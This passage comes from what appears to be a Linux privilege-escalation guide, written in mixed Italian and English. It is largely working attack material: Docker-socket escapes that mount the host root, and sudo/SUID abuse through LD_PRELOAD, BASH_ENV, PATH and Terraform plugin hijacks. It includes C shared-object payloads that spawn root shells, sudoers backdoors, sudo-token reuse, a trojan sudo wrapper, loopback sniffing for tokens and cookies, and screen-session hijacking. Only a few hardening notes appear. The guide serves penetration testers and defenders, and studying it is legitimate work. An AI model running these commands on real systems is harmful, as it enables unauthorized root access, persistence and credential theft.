curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Invia una richiesta per creare un container che monta la directory root del sistema host.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Avvia il container appena creato:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Collegarsi al Container: Usa socat per stabilire una connessione al container, permettendo l’esecuzione di comandi al suo interno.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Dopo aver stabilito la connessione con socat, puoi eseguire comandi direttamente nel container con accesso root al file system dell’host.

Altri

Nota che se hai permessi di scrittura sul docker socket perché sei nel gruppo docker hai more ways to escalate privileges. Se la docker API is listening in a port you can also be able to compromise it.

Consulta more ways to break out from containers or abuse container runtimes to escalate privileges in:

Container Security

Containerd (ctr) privilege escalation

Se trovi che puoi usare il comando ctr, leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

Se trovi che puoi usare il comando runc leggi la pagina seguente poiché you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus è un sofisticato sistema di comunicazione interprocesso (inter-Process Communication, IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per il sistema Linux moderno, offre un framework robusto per diverse forme di comunicazione tra applicazioni.

Il sistema è versatile, supportando un IPC basilare che migliora lo scambio di dati tra processi, simile a socket di dominio UNIX potenziati. Inoltre agevola la trasmissione di eventi o segnali, favorendo l’integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth che notifica una chiamata in arrivo può far sì che un lettore musicale si metta in pausa, migliorando l’esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando richieste di servizio e invocazione di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi.

D-Bus opera su un allow/deny model, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) in base all’effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente consentendo privilege escalation tramite lo sfruttamento di tali permessi.

Un esempio di tale policy in /etc/dbus-1/system.d/wpa_supplicant.conf è fornito, dettagliando i permessi per l’utente root di possedere, inviare e ricevere messaggi da fi.w1.wpa_supplicant1.

Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy con contesto “default” si applicano a tutti non coperti da altre policy specifiche.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Scopri come enumerare e sfruttare una comunicazione D-Bus qui:

D-Bus Enumeration & Command Injection Privilege Escalation

Network

È sempre interessante enumerare la network e capire la posizione della macchina.

Enumerazione generica

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)

#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1

#L2 neighbours
(arp -e || arp -a || ip neigh)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null

#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null

#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20

#Files used by network services
lsof -i

Triage rapido del filtraggio in uscita

Se l’host può eseguire comandi ma i callbacks falliscono, separa rapidamente il filtraggio DNS, di trasporto, del proxy e delle rotte:

# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A

# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done

# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true

# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me

Open ports

Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u

Classifica i listener in base all’interfaccia di binding:

  • 0.0.0.0 / [::]: esposto su tutte le interfacce locali.
  • 127.0.0.1 / ::1: solo locale (good tunnel/forward candidates).
  • Specific internal IPs (es. 10.x, 172.16/12, 192.168.x, fe80::): di solito raggiungibili solo da segmenti interni.

Flusso di triage per servizi accessibili solo localmente

Quando comprometti un host, i servizi associati a 127.0.0.1 spesso diventano raggiungibili per la prima volta dalla tua shell. Un rapido flusso di lavoro locale è:

# 1) Find local listeners
ss -tulnp

# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1

# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1

# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>

LinPEAS come scanner di rete (network-only mode)

Oltre ai controlli locali PE, linPEAS può funzionare come uno scanner di rete focalizzato. Usa i binari disponibili in $PATH (tipicamente fping, ping, nc, ncat) e non installa tooling.

# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t

# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24

# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443

# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20

# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443

Se passi -d, -p, o -i senza -t, linPEAS si comporta come un puro network scanner (saltando il resto dei controlli di privilege-escalation).

Sniffing

Verifica se puoi sniff traffic. Se ci riesci, potresti riuscire a catturare alcune credenziali.

timeout 1 tcpdump

Controlli pratici rapidi:

#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"

#Find capture interfaces
tcpdump -D
ip -br addr

Loopback (lo) è particolarmente prezioso in post-exploitation perché molti servizi accessibili solo internamente espongono tokens/cookies/credentials lì:

sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'

Cattura ora, analizza dopo:

sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri

Utenti

Enumerazione Generica

Controlla chi sei, quali privilegi hai, quali utenti sono nei sistemi, quali possono effettuare il login e quali hanno privilegi root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Alcune versioni di Linux sono state colpite da un bug che permette agli utenti con UID > INT_MAX di ottenere privilegi. Maggiori informazioni: here, here e here.
Sfruttalo usando: systemd-run -t /bin/bash

Gruppi

Controlla se sei membro di qualche gruppo che potrebbe concederti privilegi di root:

Interesting Groups - Linux Privesc

Appunti

Controlla se c’è qualcosa di interessante negli appunti (se possibile)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politica delle password

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Password conosciute

Se conosci una password dell’ambiente prova a fare login come ogni utente usando quella password.

Su Brute

Se non ti dispiace fare molto rumore e i binari su e timeout sono presenti sul computer, puoi provare a brute-force un utente usando su-bruteforce.
Linpeas con il parametro -a prova anche a brute-force gli utenti.

Abusi del PATH scrivibile

$PATH

Se scopri di poter scrivere in qualche cartella del $PATH potresti essere in grado di escalare i privilegi creando una backdoor nella cartella scrivibile con il nome di qualche comando che verrà eseguito da un utente diverso (idealmente root) e che non venga caricato da una cartella che si trovi prima della tua cartella scrivibile nel $PATH.

SUDO e SUID

Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Verificalo usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alcuni unexpected commands consentono di leggere e/o scrivere file o persino eseguire un command. Ad esempio:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In questo esempio l’utente demo può eseguire vim come root, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root oppure chiamando sh.

sudo vim -c '!sh'

SETENV

Questa direttiva permette all’utente di impostare una variabile d’ambiente durante l’esecuzione di qualcosa:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Questo esempio, basato sulla macchina HTB Admirer, era vulnerabile a PYTHONPATH hijacking per caricare una libreria python arbitraria durante l’esecuzione dello script come root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV preservato tramite sudo env_keep → root shell

Se sudoers preserva BASH_ENV (es., Defaults env_keep+="ENV BASH_ENV"), puoi sfruttare il comportamento di avvio non interattivo di Bash per eseguire codice arbitrario come root quando invoci un comando permesso.

  • Perché funziona: Per le shell non interattive, Bash valuta $BASH_ENV e effettua il sourcing di quel file prima di eseguire lo script target. Molte regole sudo consentono di eseguire uno script o un wrapper di shell. Se BASH_ENV è preservato da sudo, il tuo file viene sourced con privilegi root.

  • Requisiti:

  • Una regola sudo che puoi eseguire (qualsiasi target che invochi /bin/bash in modo non interattivo, o qualsiasi script bash).

  • BASH_ENV presente in env_keep (verifica con sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Rimuovere BASH_ENV (e ENV) da env_keep, preferire env_reset.
  • Evitare wrapper shell per comandi consentiti via sudo; usare binari minimi.
  • Considerare il logging I/O di sudo e le notifiche quando vengono usate variabili d’ambiente preservate.

Terraform via sudo con HOME preservato (!env_reset)

Se sudo lascia intatto l’ambiente (!env_reset) pur permettendo terraform apply, $HOME rimane quello dell’utente chiamante. Terraform quindi carica $HOME/.terraformrc come root e rispetta provider_installation.dev_overrides.

  • Indirizza il provider richiesto verso una directory scrivibile e posiziona un plugin malevolo chiamato come il provider (es., terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform fallirà il Go plugin handshake ma esegue il payload come root prima di terminare, lasciando una shell SUID.

Le variabili di Terraform possono essere fornite tramite variabili d’ambiente TF_VAR_<name>, che sopravvivono quando sudo preserva l’ambiente. Convalide deboli come strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") possono essere aggirate con symlinks:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform risolve il symlink e copia il reale /root/root.txt in una destinazione leggibile dall’attaccante. Lo stesso approccio può essere usato per write in percorsi privilegiati pre-creando symlink di destinazione (es., puntando il percorso di destinazione del provider dentro /etc/cron.d/).

requiretty / !requiretty

Su alcune distribuzioni più vecchie, sudo può essere configurato con requiretty, che forza sudo a essere eseguito solo da una TTY interattiva. Se !requiretty è impostato (o l’opzione è assente), sudo può essere eseguito da contesti non interattivi come reverse shells, cron jobs o script.

Defaults !requiretty

Questo non è una vulnerabilità diretta di per sé, ma amplia le situazioni in cui le regole sudo possono essere abusate senza bisogno di un PTY completo.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

Se sudo -l mostra env_keep+=PATH o un secure_path che contiene voci scrivibili dall’attaccante (es., /home/<user>/bin), qualsiasi comando relativo all’interno del target consentito da sudo può essere shadowed.

  • Requisiti: una regola sudo (spesso NOPASSWD) che esegue uno script/binary che chiama comandi senza percorsi assoluti (free, df, ps, ecc.) e una voce di PATH scrivibile che viene cercata per prima.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Percorsi per bypassare l’esecuzione con Sudo

Jump per leggere altri file o usare symlinks. Ad esempio, nel file sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se viene usato un wildcard (*), è ancora più facile:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contromisure: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary senza percorso del comando

Se viene concessa la sudo permission a un singolo comando senza specificare il percorso: hacker10 ALL= (root) less puoi sfruttarlo cambiando la variabile PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Questa tecnica può essere usata anche se un binario suid esegue un altro comando senza specificarne il percorso (controlla sempre con strings il contenuto di un binario SUID sospetto)).

Payload examples to execute.

Binario SUID con percorso del comando

Se il binario suid esegue un altro comando specificando il percorso, allora puoi provare a esportare una funzione con il nome del comando che il file suid sta invocando.

Per esempio, se un binario suid invoca /usr/sbin/service apache2 start, devi provare a creare la funzione ed esportarla:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Poi, quando esegui il binario suid, questa funzione verrà eseguita

Script scrivibile eseguito da un wrapper SUID

Una comune misconfigurazione di app personalizzate è un wrapper binario SUID di proprietà di root che esegue uno script, mentre lo script stesso è scrivibile da utenti low-priv.

Schema tipico:

int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}

Se /usr/local/bin/backup.sh è scrivibile, puoi aggiungere comandi payload e poi eseguire lo SUID wrapper:

echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p

Controlli rapidi:

find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh

This attack path is especially common in “maintenance”/“backup” wrappers shipped in /usr/local/bin.

LD_PRELOAD & LD_LIBRARY_PATH

La variabile d’ambiente LD_PRELOAD viene utilizzata per specificare una o più librerie condivise (.so) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (libc.so). Questo processo è noto come preloading di una libreria.

Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili suid/sgid, il sistema applica certe condizioni:

  • Il loader ignora LD_PRELOAD per gli eseguibili il cui real user ID (ruid) non coincide con l’effective user ID (euid).
  • Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie presenti in percorsi standard che sono anch’esse suid/sgid.

L’elevazione dei privilegi può verificarsi se si ha la possibilità di eseguire comandi con sudo e l’output di sudo -l include la voce env_keep+=LD_PRELOAD. Questa configurazione permette alla variabile d’ambiente LD_PRELOAD di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con sudo, con il potenziale di portare all’esecuzione di codice arbitrario con privilegi elevati.

Defaults        env_keep += LD_PRELOAD

Salva come /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Quindi compilalo usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Infine, escalate privileges eseguendo

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Una privesc simile può essere sfruttata se l’attaccante controlla la variabile d’ambiente LD_LIBRARY_PATH perché controlla il percorso in cui saranno cercate le librerie.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Quando si incontra un binary con permessi SUID che sembra insolito, è buona pratica verificare se sta caricando correttamente i file .so. Questo può essere verificato eseguendo il seguente comando:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Ad esempio, l’incontro di un errore come “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” suggerisce un potenziale sfruttamento.

Per sfruttarlo, si procede creando un file C, ad esempio “/path/to/.config/libcalc.c”, contenente il seguente codice:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati.

Compila il file C di cui sopra in un file shared object (.so) con:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Infine, l’esecuzione del SUID binary interessato dovrebbe attivare l’exploit, consentendo una potenziale compromissione del sistema.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Ora che abbiamo trovato un SUID binary che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se ricevi un errore come

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

ciò significa che la libreria che hai generato deve avere una funzione chiamata a_function_name.

GTFOBins

GTFOBins è una lista curata di binari Unix che possono essere sfruttati da un attacker per bypassare le restrizioni di sicurezza locali. GTFOArgs è lo stesso ma per i casi in cui puoi solo iniettare argomenti in un comando.

Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per evadere shell ristrette, aumentare o mantenere privilegi elevati, trasferire file, spawnare bind e reverse shells, e facilitare altre attività di post-exploitation.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

GTFOArgs: Argument Injection Exploitation Vector List | GTFOArgs is a curated list of Unix binaries whose arguments can be exploited for argument injection, enabling shell escapes, privilege escalation, file read/write, and other post-exploitation techniques.

FallOfSudo

Se puoi eseguire sudo -l puoi usare lo strumento FallOfSudo per verificare se trova come sfruttare qualsiasi regola sudo.

Riutilizzo dei token sudo

Se hai accesso a sudo ma non alla password, puoi scalare i privilegi aspettando l’esecuzione di un comando sudo e poi dirottando il token di sessione.

Requisiti per escalare i privilegi:

  • Hai già una shell come utente “sampleuser
  • sampleuser” ha usato sudo per eseguire qualcosa nelle ultime 15 minuti (di default quella è la durata del token sudo che ci permette di usare sudo senza inserire alcuna password)
  • cat /proc/sys/kernel/yama/ptrace_scope è 0
  • gdb è accessibile (puoi caricarlo)

(Puoi abilitare temporaneamente ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o permanentemente modificando /etc/sysctl.d/10-ptrace.conf e impostando kernel.yama.ptrace_scope = 0)

Se tutti questi requisiti sono soddisfatti, puoi escalare i privilegi usando: https://github.com/nongiach/sudo_inject

  • Il primo exploit (exploit.sh) creerà il binario activate_sudo_token in /tmp. Puoi usarlo per attivare il token sudo nella tua sessione (non otterrai automaticamente una shell root, esegui sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Il secondo exploit (exploit_v2.sh) creerà una shell sh in /tmp di proprietà di root con setuid
bash exploit_v2.sh
/tmp/sh -p
  • Il terzo exploit (exploit_v3.sh) creerà un sudoers file che rende i sudo tokens eterni e permette a tutti gli utenti di usare sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Se hai permessi di scrittura nella cartella o su uno qualsiasi dei file creati all’interno della cartella puoi usare il binario write_sudo_token per creare un sudo token per un utente e PID.
Ad esempio, se puoi sovrascrivere il file /var/run/sudo/ts/sampleuser e hai una shell come quell’utente con PID 1234, puoi ottenere privilegi sudo senza dover conoscere la password eseguendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Il file /etc/sudoers e i file all’interno di /etc/sudoers.d configurano chi può usare sudo e come. Questi file per impostazione predefinita possono essere letti solo dall’utente root e dal gruppo root.
Se puoi leggere questo file potresti essere in grado di ottenere informazioni interessanti, e se puoi scrivere qualsiasi file sarai in grado di escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se puoi scrivere, puoi abusare di questo permesso.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Un altro modo per abusare di queste permissions:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Esistono alcune alternative al binary sudo, come doas per OpenBSD; ricordati di controllare la sua configurazione in /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Se sai che un utente di solito si connette a una macchina e usa sudo per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi creare un nuovo sudo executable che eseguirà il tuo codice come root e poi il comando dell’utente. Poi, modifica il $PATH del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) in modo che, quando l’utente esegue sudo, venga eseguito il tuo sudo executable.

Nota che se l’utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Puoi trovare un altro esempio in bashdoor.py

Oppure eseguendo qualcosa come:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Libreria condivisa

ld.so

Il file /etc/ld.so.conf indica da dove provengono i file di configurazione caricati. Tipicamente, questo file contiene il seguente percorso: include /etc/ld.so.conf.d/*.conf

Ciò significa che verranno letti i file di configurazione in /etc/ld.so.conf.d/*.conf. Questi file di configurazione puntano ad altre cartelle dove verranno cercate le librerie. Ad esempio, il contenuto di /etc/ld.so.conf.d/libc.conf è /usr/local/lib. Questo significa che il sistema cercherà librerie dentro /usr/local/lib.

Se per qualche motivo un utente ha permessi di scrittura su uno qualsiasi dei percorsi indicati: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualsiasi file all’interno di /etc/ld.so.conf.d/ o qualsiasi cartella indicata in un file di configurazione dentro /etc/ld.so.conf.d/*.conf potrebbe essere in grado di ottenere privilegi elevati.
Dai un’occhiata a come sfruttare questa errata configurazione nella seguente pagina:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Copiando la lib in /var/tmp/flag15/, verrà utilizzata dal programma in questa posizione come specificato nella variabile RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Quindi crea una libreria malevola in /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacità

Linux capabilities forniscono un sottoinsieme dei privilegi root disponibili a un processo. Questo suddivide effettivamente i privilegi root in unità più piccole e distintive. Ciascuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l’insieme completo di privilegi è ridotto, diminuendo i rischi di sfruttamento.
Leggi la pagina seguente per saperne di più sulle capabilities e su come abusarne:

Linux Capabilities

Permessi delle directory

In una directory, il bit per “execute” implica che l’utente interessato può “cd” nella cartella.
Il bit “read” implica che l’utente può list i files, e il bit “write” implica che l’utente può delete e create nuovi files.

ACLs

Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di sovrascrivere i tradizionali permessi ugo/rwx. Questi permessi migliorano il controllo sull’accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari né fanno parte del gruppo. Questo livello di granularità garantisce una gestione degli accessi più precisa. Ulteriori dettagli si possono trovare qui.

Concedi all’utente “kali” permessi di read e write su un file:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Recupera file con ACLs specifiche dal sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

ACL backdoor nascosto su sudoers drop-ins

Una comune misconfigurazione è un file di proprietà di root in /etc/sudoers.d/ con permessi 440 che però concede ancora accesso in scrittura a un low-priv user tramite ACL.

ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>

Se vedi qualcosa come user:alice:rw-, l’utente può aggiungere una regola sudo nonostante i bit di modalità restrittivi:

echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l

Questo è un percorso ACL persistence/privesc ad alto impatto perché è facile da non rilevare nelle revisioni eseguite solo con ls -l.

Sessioni shell aperte

In versioni più vecchie potresti hijack qualche shell session di un utente diverso (root).
Nelle versioni più recenti potrai connect alle screen sessions solo del tuo stesso utente. Tuttavia, potresti trovare informazioni interessanti all’interno della sessione.

screen sessions hijacking

Elenca screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null

Collegarsi a una sessione

screen -dr <session> #The -d is to detach whoever is attached to it
